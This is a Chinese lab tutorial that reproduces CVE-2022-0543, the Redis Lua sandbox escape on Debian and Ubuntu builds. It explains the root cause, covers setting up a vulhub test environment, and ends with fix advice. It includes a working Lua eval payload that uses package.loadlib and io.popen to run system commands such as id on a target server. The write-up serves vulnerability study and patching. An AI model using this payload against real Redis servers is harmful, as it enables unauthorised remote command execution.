漏洞原理
该漏洞是由于Redis 嵌入了 Lua 编程语言作为其脚本引擎,可通过eval命令使用,而Lua 引擎应该是沙盒化的,即客户端可以与 Lua 中的 Redis API 交互,但不能在运行 Redis 的机器上执行任意代码,但是由于Debian以及Ubuntu发行版的源在打包Redis时,未能正确清除package 变量,恶意攻击者可以通过发送包含该变量的Lua脚本,从而进行沙箱逃逸并在服务器上执行任意命令。
沙盒逃逸的过程
1.加载动态库:攻击者可通过 package.loadlib 加载 Lua 系统库(如 liblua5.1.so.0),调用其导出函数(如 luaopen_io)获取 io 库权限。
2.执行命令:利用 io.popen 等函数执行任意系统命令。
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r"); -- 执行系统命令
local res = f:read("*a");
f:close();
return res;
影响范围版本
运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 Redis 服务。
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5
环境搭建
kali(安装vulhub)
win7(安装redis客户端)
vulhub中拉取CVE-2022-0543镜像
安装redis
redis安装包下载链接:https://github.com/microsoftarchive/redis/releases
解压后在当前目录执行
redis-server.exe redis.windows.conf
安装redis到windows服务
redis-server --service-install redis.windows.conf
重新打开一个cmd,执行
redis-server --service-start
测试redis能否正常使用
redis-cli.exe -h 127.0.0.1 -p 6379
安装完成
漏洞复现
在攻击机中使用redis客户端对靶机进行连接
redis-cli.exe -h 192.168.0.129(靶机ip) -p 6379(端口)
输入恶意payload
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
修复建议
Lua 初始化的末尾添加package=nil
关闭redis服务
更新至最新版本